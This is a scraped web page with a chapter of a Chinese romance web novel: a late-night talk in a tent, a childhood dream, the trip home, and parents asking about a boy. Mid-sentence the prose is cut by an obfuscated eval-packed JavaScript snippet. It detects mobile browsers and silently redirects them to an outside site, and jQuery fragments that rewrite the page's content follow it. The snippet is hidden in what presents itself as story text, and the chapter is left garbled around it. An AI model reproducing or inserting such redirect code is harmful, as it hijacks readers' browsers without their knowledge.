默认冷灰
24号文字
方正启体

11. 入梦

作者:花间佳酿本书字数:K更新时间:
    周围只有下雨的声音,一切似被隔绝在帐篷外,暖色灯光充盈着整个空间,感官只落在这一小方天地。


    空气也变得温暖,裹住了他们。


    而祁弈似乎不觉和她挨得近有何不妥,神色闲散从容。


    小夜灯就在苏杳心手边。


    她洋装感兴趣地瞧了瞧,又摸了摸。


    一声短促的轻笑。


    苏杳心抬头,看向少年沐在光里极为俊逸的脸。


    见她望过来,他一笑。


    “喜欢这个夜灯?”


    苏杳心轻放下灯,“我以为是那种碰一下会变色的灯。”


    话音落,她看见祁弈倏然靠近,缓缓倾下身,苏杳心的心砰砰跳的厉害,整个人都是紧绷的。


    祁弈手一伸,低声说:“我只拿一下灯,别担心。”


    这话有种一语双关的安抚,随后他坐好,白色小夜灯在他手里被拨开开关,递给她。


    “再试试看。”


    苏杳心依言地,拍了一下夜灯。


    灯光变成淡橘色,连拍两下,光线逐渐白亮几度。


    “还真是变色灯。”她笑着玩了几下,像个小孩子那般。


    气氛也因为这件有趣的小事,变得自在了一些。


    苏杳心把小夜灯放在腿边,随便和他聊:“我没来之前,你在做什么?”


    “听雨,”祁弈一手支下颌:“也想事情。”


    果然听起来很孤单。


    不过每个人习惯喜好不同,有人喜欢热闹,也有人享受安静独处。


    祁弈又补充:“不过我更喜欢有人陪。”


    他这么一说,苏杳心完全没有打扰到他的顾虑,她曲腿抱着,脑袋搁在膝盖上,一双眼清凌凌地看他,“那你以前睡桥洞的时候,也是一个人呆着想事情吗?”


    “差不多吧。”


    “偶尔也想想人。”


    苏杳心睫毛轻眨,来不及细细咀嚼他说这话的语气,就听祁弈又散漫道:“不过那时候时间很宝贵,我在帐篷里,大多时候是学习做卷子。”


    她歪头问:“你那时候多大?”


    祁弈盯着她:“初一。”


    想起初一自己整天满脑子都是玩的苏杳心,不由得佩服。


    那个贪玩的那年纪就认识到时间宝贵,要好好学习天天向上,难怪人家能考上一中。


    脑袋里想像着一个小小少年,是眼前男生等比例的缩小版,她忍不住笑:“好乖啊。”


    似乎没想到被夸乖,祁弈挑了挑眉,“乖?那倒没有。”


    “我那时候经常打架,在老师眼里其实不是什么好学生。”


    他似在回想那时,带着几分自嘲。


    不知为何,苏杳心下意识就觉得祁弈不是会主动找人麻烦、爱打架的人,她真心道:“打架也不是不好的事,人在危险时当然要保护自己了,你的老师如果因为你正当防卫的打架而讨厌你,那他也不是什么讲道理的老师。”


    她说完,安静的只有雨声,苏杳心望着少年专注深邃的眸子,动了动唇,“怎么了?”


    “没怎么,”祁弈笑道:“就是第一次有人不问原因,就站在我这边。”


    苏杳心目光微动。


    ……想想也能理解。


    并不是所有家长都像苏怀峰和蔡卉,在遇事时,会完全相信自己的孩子。不管青红皂白就先批评自己孩子的父母不在少数。


    苏杳心唇边漾笑:“那你以后就有啦。”


    她笑意盈盈的,心里怎么想便如何说,没注意到少年眸中一瞬的怔然。


    而下一刻,她目光不经意落向他的手臂,也怔住了。


    少年穿着白T恤,露出的手臂线条流畅漂亮,而小臂上一条长长的疤,却触目惊心,因为肤色白,所以更明显。


    就算是苏杳心听段北提起过,也难免意外一瞬。


    虽然她神色安静,没有像别人那样惊讶,祁弈也发现她眼中的怔愣。


    他没躲也没遮,只淡笑解释:“小时候打架留下的。”


    “会害怕吗?”他问。


    苏杳心抬眸,分不清他在问害怕疤,还是害怕打架的他,她摇摇头。


    轻声问:“疼么?”


    祁弈睫毛颤了下。


    随后苏杳心看见他意味深长地笑了笑,“不疼。”


    这么深的疤,怎么会不疼。


    苏杳心微微坐直身子,祁弈应是不想被人看见这疤,所以在入夏天气,这几日在山里,也没在旁人面前脱过外套。


    今晚也是她冒然跑过来要陪他,才意外看见。


    虽然想知道这伤疤是如何伤的,但她想到祁弈或许不想提,便忍住没问。


    她目光挪开,神色轻松地笑了笑,转移话题,“我爸膝盖上也有条疤,以前下雨天会痒,后来慢慢好了,但一到雨天膝盖又开始犯风湿的毛病,还总在我耳边念叨,说人老了呀就都不喜欢下雨天,我说我不会。”


    “我说等我老了,不仅喜欢下雨天,还会喜欢下雪天,”苏杳心微微一笑:“你知道为什么吗?”


    祁弈目光落在她漾笑的脸上,唇角稍弯,手拄下颌地问:“为什么?”


    苏杳心缓慢地讲:“因为我在老之前呢,一定会去冰岛看一场最美的雪。”


    “看过最美的雪,以后不管何时何地,在下雪时都会想起那一日的雪,怎么会不喜欢呢?”


    她说的有她自己的一套道理。


    重要的是,祁弈也被她的聊天从伤疤上,带了出来。


    苏杳心似随意地问:“那你呢,为什么很喜欢下雨天?”


    祁弈勾勾唇:“因为见过最美的下雨天。”


    话音落,他又道:“不过,眼前的雨,对我而言也很美。”


    外面雨丝像细细绵绵的线,淅沥地掉落,染上一点暖黄色的光。


    苏杳心眉眼弯弯:“你说的对,眼前的雨也很美。”


    话题变轻松,苏杳心想到什么便和他聊什么,祁弈这个人似乎很喜欢倾听。


    她讲一些忽然想起的日常琐事,或是聊自己的爱好,他也听得津津有味,很感兴趣,也和她一起讨论,从冰岛的雪到芬兰极光,再从苏杳心上次下载的热血动画电影,聊到神话故事。


    见过的风景,要去见的风景,随心所欲地聊。


    她还是第一次和一个人性情这么契合,就像是那种一见如故的亲密朋友,以至于苏杳心都聊得忘了时间。


    祁弈应是也忘了。


    直到手机收到一条天气预报提醒,她才发现雨停了,已经是夜里十一点二十分。


    竟然聊到这么晚。


    苏杳心握着手机,准备回自己帐篷,“下次再聊,我该回去睡了。”


    祁弈点头,神色奕奕的,“是有点晚了,早点睡也好。”


    起身前,苏杳心顿了下,又坐好看向他。


    她唇角一弯:“对了,还要谢谢你的芋头。”


    祁弈黑眸明亮:“你喜欢吃就好。”


    果然是他。


    苏杳心轻笑问:“是你昨晚下山时,一起带回来的?”


    “嗯。”


    一听,她笑意微收,叹气嘀咕:“夜里骑车走山路已经危险了,你还要背一包芋头回来……”


    祁弈笑而不语。


    下过雨的夜色弥漫着潮湿,隔壁就是她的帐篷,和他道过晚安,她回自己的帐篷里。


    刚准备要睡,外面传来温和的嗓音,“躺下了么?”


    苏杳心又起身,跪坐在门边,把门帘拉开。


    祁弈半蹲在她帐篷外面,手里是一条软绵绵的毛毯,“夜里凉,你铺上这个再睡,毯子是新的,可以放心用。”


    苏杳心眨了眨眼,伸手接过标签还没摘的白色毛毯,“那你呢,还有毛毯吗?”


    她觉得这毛毯应该是祁弈自己带着备用的,却听他说:“我有睡垫就够,不习惯铺毛毯。”


    “今晚聊的很开心,晚安。”祁弈说。


    “晚安。”


    帐篷里,苏杳心把毛毯铺在睡垫上,躺下来柔软又温暖,她侧躺着,细细的绒毛贴着脸,在睡前不禁想。


    如果祁弈之前提起那个在乎的人,是喜欢的女孩子,会是一个什么样的人呢。


    他对待朋友都这么周到,人也很好,不会有女孩子不喜欢他的。


    可是他说还没有女朋友……


    胡思乱想了一通,睡意也慢慢袭来,被子拉到下巴,她阖上眼皮。


    这一晚,或许是这份体贴的照顾,苏杳心少见地梦见了小时候,遇见过的一个朋友。


    那年是初二的暑假,她的芭蕾舞课快结束那天,偶然认识了一个男孩子。


    男孩子总穿一件白色校服,受了伤,脸上和手臂都包扎着纱布,整个脸几乎都裹住了,明明是狼狈的样子,但气质却凌人。


    年纪不大,在轮滑馆打工,在一众比他大的男孩中,身板似压不折的青松,让人见一眼便印象深刻。


    他看起来很不好靠近,但苏杳心却和他成为了朋友。


    遗憾的是,他们只相处了三天,苏杳心的舞蹈课结束,就要从姑姑家被接走了。


    她记得,道别的那天下了雨。


    她撑着一把伞,在轮滑馆门口问他的名字,住在哪里,以后可以去找他玩。


    认识几天,苏杳心都忘记问他的名字,也忘记告诉他自己的名字。


    小男孩没说话,兀自走进她的伞下,从口袋里拿出一条干净的白色手帕,蹲下身,帮她擦掉白鞋沾上的污渍。


    细细地擦好,他站起身,问她:“你叫什么,在哪上学?”


    苏杳心告诉了他,小男孩点头,一张脸只露出一双漆黑清淡的眼眸,望着她:“我会去找你的,一定会。”


    他话特别少,基本上只一两个字,这两句算是主动说的多的了。


    苏杳心笑容烂漫:“好,那我等你。”


    一个久远的画面,在梦中短暂出现了一次,苏杳心醒来时,望着帐篷白色的布顶,发了会儿呆。


    后来她春节去姑姑家,又去了一趟那个轮滑馆,那家店关了,小男孩也不在那里了。


    苏杳心想,这么多年了,他一定是没找到她,那时候,她应该留个电话号给他的……


    她坐起身。醒了会儿神。


    在出去前,苏杳心把头发捋好扎上,毯子也叠好。


    旁边的灰色帐篷门帘开着,男生不在。


    苏杳心便把毯子先放回自己帐篷里,蹲在门边,给秦晓棠发消息,等一起身,脸边忽然有一道温热,碰了下她脸颊。


    苏杳心缩了下脖子,忽地回头。


    祁弈手里拿了玻璃瓶牛奶,黑眸清冷,但眼尾微扬的样子,是少年散漫不羁的迷人。


    “睡的好吗。”


    苏杳心手心被他塞进那瓶牛奶,温热透过掌心传来,“睡的很好。”


    “对了,你的毛毯,”苏杳心琢磨着:“我睡过一晚,等我回去洗过后再还你吧。”


    祁弈看了眼叠的很整齐的毯子,像小军被一样,四角熨贴,他走过去,弯腰拿起来,“不用麻烦,我直接带走就行。”


    这时,身后传来跑步声,“苏杳心……”


    段北惊讶地过来,打量她:“你这是,昨晚睡的帐篷?”


    苏杳心嗯了声,“对。”握着牛奶瓶准备去找秦晓棠。


    段北皱眉看着苏杳心从身边走过,又看看那边悠哉地拿毛毯,走回他自己帐篷的祁弈。


    段北跟上苏杳心,不可思议道:“他怎么从你帐篷里拿毯子?”


    “那是他的毯子,借我睡的。”


    段北闻言一惊:“你怎么随便睡男生的毯子,那种东西多私人啊!”


    苏杳心:“毯子是新的。”


    听见这话,段北倒是没再在她耳边嚷嚷,但依然脸色不太好地跟着她走进了民宿。


    早上大家吃过早餐,九点多时,司机师傅准时上山来接她们。


    这趟旅途很愉快,回去的路上没堵车,午时就到了市内。


    车子停在小区,行李拿下车,祁弈和她们道别。


    秦晓棠笑眯眯地:“以后有机会再一起出来玩啊。”


    祁弈点头,目


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653084|172823||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    光落向苏杳心,斑驳的光点映在他眼角眉梢。


    他挥挥手,语气轻松:“我走了,再见。”


    苏杳心微笑摆摆手。


    等他上了车,车子离开,段北和段南去拎行李,秦晓棠挽着苏杳心胳膊,目光还遥遥望向开走的车,试图要瞧出什么来。


    随后秦晓棠啧了一声,“他走的挺干脆啊……”


    苏杳心都转身了,看她一眼,“你嘀咕什么呢,什么干脆?”


    秦晓棠收回眼,似不解:“这两天相处我能感觉到,祁弈对你挺好的,可是,他走的时候也没对你多说什么,感觉就像个旅游搭子。”


    有吗?


    苏杳心倒是没太感觉。


    不过她觉得也无可厚非,“对他而言,我们这一趟不就是旅游搭子?”


    说完,她又轻声补充:“不过,我还是真的把他当朋友了的。”


    秦晓棠带笑打量她,在她耳边小声说:“呦,去的时候还是带着目的,回来就成好朋友啦?”


    前面段北拎着两个大行李箱,回头看一眼,“对了!秦晓棠,你不是要回家吗?”


    秦晓棠中午要去参加大伯的寿宴,约好让秦爸来接她。


    段北把一手的行李箱放下,无奈叹气,说着又往小区门口拎:“真是的,白拎了这么远了,浪费我力气!”


    秦晓棠也摇头叹气:“你说说你,就多拎这么点路就抱怨,就不能当给你练臂肌了?”


    瞥了一眼段北那胳膊,秦晓棠扬起下巴:“别的不说,祁弈一看就是常运动的,手臂一定有漂亮的臂肌!”


    提到祁弈,段北忽地就更气了,这时候小区门外秦爸爸的车停在那边,嘀了一声,段北把话又咽了回去,去帮秦晓棠送行李箱。


    等把秦晓棠送走,段北把苏杳心的行李也帮她送到家。


    苏怀峰和蔡卉此时在家,正准备午饭,屋子里飘来香喷喷的炖鸡汤的鲜香味。


    “杳杳回来啦。”


    蔡卉从厨房出来,看见段北,去冰箱里拿了一盒新鲜的水蜜桃,是旅游带回来的特产,正好让他拿回去。


    苏怀峰在客厅里喝茶,笑呵呵地说:“小北,你回去跟你爸说一声,下午我去你家,和他一起看球赛啊。”


    “知道了,叔叔。”


    临走前,段北拽拽苏杳心衣袖,“出来一下,我有话跟你说。”


    出来后,见段北一副认真急迫的样子:“露营回来了,这下能告诉我,你为什么说祁弈那小子有用了吧?”


    苏杳心还以为是什么事。


    她把门关好,确认老爸老妈不会听见,才将自己要“追”祁弈的目的,告诉他。


    “这个办法,还是你想出来的呢,还得谢谢你。”她又笑了笑:“你看见我爸妈刚才那副放松的样子了吗?多好。”


    进屋时,老妈还在厨房里哼哼歌呢,老爸也有心情看球赛了。


    苏杳心很欣慰。


    相比她的愉悦,段北一脸欲言又止的表情,最后,又皱眉确认着问:“你确定只是在叔叔阿姨那边装装样子,不是真的想“追”姓祁的那小子?”


    苏杳心不太喜欢段北对祁弈的称呼,但想到段北一直对祁弈有偏见,也就没说什么,只嗯了声。


    “所以你以后再见到祁弈,不要总像见到敌人似的。”


    段北哼了一声,“还会再见吗?”


    “也就一起出去玩一次,和我们这种朋友关系又不一样,估计没什么事,也不会再见了吧。”


    苏杳心愣了一下。


    等段北抱着一盒桃子走后,她开门进屋。


    午饭很丰富,炖了一上午的鸡汤颜色金澄澄的,几道家常菜也都是苏杳心喜欢吃的,还有一道蔡卉拿手的琥珀核桃仁。


    先给她盛了一碗鸡汤。


    吃饭时,老妈不出苏杳心预料地,问起了她正在“追”的男孩子。


    “相处的怎么样?”


    “挺好的。”


    “那你有没有,矜持又恰当地表达过你对他的好感?”


    “有的。”


    蔡卉眼睛一亮:“那男孩子怎么回应的?”


    苏杳心咬着鸡腿,吐字含糊地说:“嗯……就,就是正常的回应,好像,也挺愿意和我相处的。”


    对面的苏怀峰听她讲到这里,放下筷子,“嗯,那看来你们是要成了。”


    苏杳心:“啊?”


    “还,还没爸爸……”


    苏怀峰又拿起筷子,一脸认真地指了指,“你先吃饭,然后你让那男孩把他的生辰八字发过来。”


    吧嗒一声,鸡腿掉到了碗里。


    苏怀峰:“还有,手掌的照片也发来一张,我给他看看手相。”


    她惊讶:“您还会看手相?”


    “在庙里,跟一位道长学了一些,道长说我有慧根。”


    “……”


    苏杳心半信半疑的。


    蔡卉噗呲笑了出来,“哎呀,你就让你爸看看,不然他不放心。”


    “……”


    这,要她怎么开口啊。


    苏杳心一时不知怎么推脱,只好磨磨蹭蹭地吃饭,实在吃不下了,她撂下筷子。


    蔡卉把手机塞她手心:“你回屋里去问,我们在外面等你啊。”


    她托着难为情的步伐,走回自己房间。


    坐在床边,点开男生的微信。


    头像是一个雨天街景。


    苏杳心琢磨着怎么合理地解释想要他的生辰八字,和掌纹照片,盯着和男生的聊天框。


    她脑海里却忽然冒出秦晓棠的话。


    这几日相处很好,但他可能只把她当旅游搭子,挥手道别,没多说一言离开的身影也浮现在眼前。


    要找他吗?


    还是,想个办法先把爸妈搪塞过去呢。


    许是少年离开的太轻松随意,似没有一丝一毫的留念,让她觉得,祁弈不会太快回消息。


    这样犹豫着,她指尖敲下两个字,发了过去。


    苏杳心:[在吗?]


    几乎下一秒。


    祁弈:[我在]
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)